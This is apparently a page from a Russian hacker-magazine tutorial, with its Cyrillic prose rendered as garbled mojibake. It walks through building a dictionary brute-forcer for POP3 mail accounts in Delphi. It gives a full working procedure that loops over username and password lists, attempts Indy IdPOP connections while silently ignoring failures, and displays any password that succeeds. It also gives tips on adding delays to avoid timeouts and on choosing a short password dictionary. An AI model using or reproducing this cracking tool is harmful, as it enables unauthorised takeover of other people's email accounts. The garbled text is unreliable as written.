PDF - Xakep Online

ÊîäèíãÏÐÎÒÈ ËÎÌÀ ÍÅÒ ÏÐÈÅÌÀHorrific aka Ôëåíîâ Ìèõàèë (smirnandr@mail.ru)www.cydsoft.com/vr-onlineñòàðòóé ïîëó÷èâøèéñÿ åõå-øíèê. Åñëè òû çàïóñòèøü èç Delphi, òî áóäåøü ëîâèòü âñåîøèáêè, íåñìîòðÿ íà òî, ÷òî ìû èñïîëüçóåì èñêëþ÷èòåëüíûå ñèòóàöèè.Òåïåðü âñå â òâîèõ ðóêàõ. Ìîæåøü äîðàáîòàòü ýòîò ïðèìåð ïî ñâîåìó óñìîòðåíèþ,äîáàâèâ â íåãî âîçìîæíîñòü ïàóçû è ïðîäîëæåíèÿ. Ìîæåøü âñòàâèòü çàäåðæêóìåæäó ïîïûòêàìè êîííåêòà â ïàðó ñåêóíä, ÷òî óâåëè÷èò îáùåå âðåìÿ ïåðåáîðà, çàòîèñêëþ÷èò âåðîÿòíîñòü âûëåòà ïî time-out.Ôàéë ñïðàâî÷íèêà ïàðîëåé æåëàòåëüíî ïîäãîòîâèòü êàê ìîæíî áîëåå ðàçóìíåé. ßíå áóäó çäåñü îñòàíàâëèâàòüñÿ íà ýòîì, ïîòîìó ÷òî ïðàâèëüíûé íàáîð âàðèàíòîâïàðîëåé òåìà îòäåëüíîãî ðàçãîâîðà.Äàëåå ÿ ïåðåäàþ êîìïîíåíòó IdPOP àäðåñ ïî÷òîâîãî ñåðâåðà è ïîðò, ââåäåííûåòîáîé â ïðîãó. Òåïåðü íàø êîìïîíåíò ãîòîâ ê ïîäêëþ÷åíèþ è ìîæíî íà÷èíàòüïåðåáîð.ÁðóòôîðñÄëÿïåðåáîðà ÿ çàïóñêàþ îäíîâðåìåííî äâà öèêëà ïî ñîäåðæèìîìóñïðàâî÷íèêà èìåí è ïî ñïðàâî÷íèêó ïàðîëåé:for i:=0 to LoginStrings.Count-1 dofor j:=0 to PassStrings.Count-1 dobeginend;Ýòî çíà÷èò, ÷òî ïðîãðàììà âîçüìåòïåðâîå èìÿ èç ñïðàâî÷íèêà è áóäåòâûïîëíÿòü ïîñëåäóþùèé êîä ìåæäóbegin è end ñî âñåìè âàðèàíòàìèïàðîëåé èç ñïðàâî÷íèêà ïàðîëåé.Ïîòîì áóäåò âçÿòî ñëåäóþùåå èìÿ, èñ íèì ïîâòîðèòñÿ òà æå ïðîöåäóðà ñîâñåìè âàðèàíòàìè ïàðîëåé.Ìåæäó ñëåäóþùèìè begin è end ÿïðîèçâîæó ïîïûòêè ñîåäèíåíèÿ. ÍîÐèñóíîê 4. Ïðèìåð ñïðàâî÷íèêà èìåíñíà÷àëà ÿ ïåðåäàþ òåêóùåå èìÿ èïàðîëü êîìïîíåíòó IdPOP. Ïîòîìïðîèçâîæó ïîïûòêó ñîåäèíåíèÿ è, åñëè îíà óäà÷íà, âûâîæó îá ýòîì ñîîáùåíèå.Õî÷ó îáðàòèòü òâîå âíèìàíèå, ÷òî ÿ çàêëþ÷èë âûçîâ êîííåêòà ìåæäó ñëîâàìè try...except ...end. Ýòî î÷åíü èíòåðåñíàÿ êîíñòðóêöèÿ. Âåñü êîä, íàïèñàííûé ìåæäóñëîâàìè try è except, ÿâëÿåòñÿ êàê áû çàùèùåííûì îò íåïðåäâèäåííûõ ñèòóàöèé.tryIdPOP.Connect;exceptend;Åñëè ïðè âûïîëíåíèè êîäà ìåæäó try è except (â äàííîì ñëó÷àå ïîïûòêèñîåäèíåíèÿ) ïðîèçîéäåò îøèáêà, òî ïðîãðàììà íå âûëåòèò è íå âûñâåòèò íèêàêèõñîîáùåíèé, à âûïîëíèò êîä, êîòîðûé íàïèñàí ìåæäó except è end. ×òî? Ó ìåíÿíè÷åãî íå íàïèñàíî? Çíà÷èò, íè÷åãî íå âûïîëíèò, à ñïîêîéíî ïðîäîëæèò ðàáîòóäàëüøå :).Âîò òàêàÿ âåùü íàçûâàåòñÿ èñêëþ÷èòåëüíîé ñèòóàöèåé. Ñ ïîìîùüþ íåå òâîè ïðîãèñòàíîâÿòñÿ áîëåå çàùèùåííûìè îò ñáîåâ, è âåðîÿòíîñòü ïîÿâëåíèÿ ñèíåãî ýêðàíàñíèæàåòñÿ. Âîò åñëè áû ïðîãðàììåðû MS íàó÷èëèñü ïîëüçîâàòüñÿèñêëþ÷èòåëüíûìè ñèòóàöèÿìè.... Íó ëàäíî, äàâàé ëó÷øå âåðíåìñÿ ê íàøåìó êîäó, àïðî èñêëþ÷èòåëüíûå ñèòóàöèè ïîäðîáíåé ïî÷èòàåøü íà ìîåì ñàéòå.Äàëüøå ÿ ïðîâåðÿþ, ñóùåñòâóåò ëè êîííåêò, åñëè äà, òî ïîêàçûâàþ íàéäåííûéïàðîëü â îòäåëüíîì îêíå è îòêëþ÷àþñü îò ñåðâåðà.Ðèñóíîê 5. Áðóòôîðñ â çàïóñêåDisconnectßïðîòåñòèðîâàëáðóò ïîä íåñêîëüêèìè ÎÑ, è âåçäå îí ïîêàçàë ñåáÿ î÷åíüäàæå õîðîøî. Åäèíñòâåííîå çàìå÷àíèå - çàïóñêàé åãî îòäåëüíî îò Delphi.Äëÿ ýòîãî ñîçäàé çàïóñêíîé ôàéë ñ ïîìîùüþ íàæàòèÿ Ctrl+F9, à ïîòîìÐèñóíîê 6. Áðóòôîðñ â ðàáîòå ïîä ÕÐËÈÑÒÈÍÃprocedure TForm1.Button1Click(Sender: TObject);varLoginStrings, PassStrings:TStrings;i, j:Integer;begin//Ñîçäàþ ìàññèâû ñòðîê.LoginStrings:=TStringList.Create;PassStrings:=TStringList.Create;//Çàãðóæàþ âàðèàíòû ñïðàâî÷íèêè èìåí è ïàðîëåé.LoginStrings.LoadFromFile(NameEdit.Text);PassStrings.LoadFromFile(PassEdit.Text);//Óñòàíàâëèâàþ àäðåñ è ïîðò ñåðâåðà.IdPOP.Host := ServerNameEdit.Text;IdPOP.Port := StrToInt(PortEdit.Text);//Íà÷èíàþ ïåðåáîð.for i:=0 to LoginStrings.Count-1 dofor j:=0 to PassStrings.Count-1 dobegin//Ïåðåäàþ èìÿ è ïàðîëü êîìïîíåíòó.IdPOP.UserID := LoginStrings.Strings[i];IdPOP.Password := PassStrings.Strings[j];//Ïîïûòêà ñîåäèíåíèÿ.tryIdPOP.Connect;exceptend;//Åñëè ñîåäèíåíèå óñòàíîâëåíî, òî âûâåñòè îá ýòîì ñîîáùåíèåif IdPOP.Connected thenbegin//Ïîêàçàòü íàéäåííûé ïàðîëü.Application.MessageBox(PChar(‘Èìÿ:’+LoginStrings.Strings[i]+‘ Ïàðîëü:’+PassStrings.Strings[j]), ‘Ïàðîëü íàéäåí’);IdPOP.Disconnect;Exit;end;end;//Óíè÷òîæàþ ìàññèâû ñòðîêLoginStrings.FreePassStrings.Free;end;È ïîñëåäíèé ñîâåò: çàâåäè ñåáå õîðîøèé ñëîâàðü ïàðîëåé èç 100-200 ñëîâ èèñïîëüçóé åãî. Åñëè íå ïîäîéäåò, òî ëó÷øå çàáóäü, ïîòîìó ÷òî ïåðåáîð âñåõâàðèàíòîâ ìîæåò çàáðàòü ìåñÿöû è áîëåå.Äîïîëíèòåëüíóþ èíôó, êàê âñåãäà, ìîæíî íàéòè íà ìîåì ñàéòå www.cydsoft.com/vronline.Òàì æå ïîñëå âûõîäà ýòîãî íîìåðà æóðíàëà áóäóò ëåæàòü èñõîäíèêè ìîåãîáðóòôîðñà. Òàê ÷òî åñëè âîçíèêíóò ïðîáëåìû, òî êà÷àé èõ.74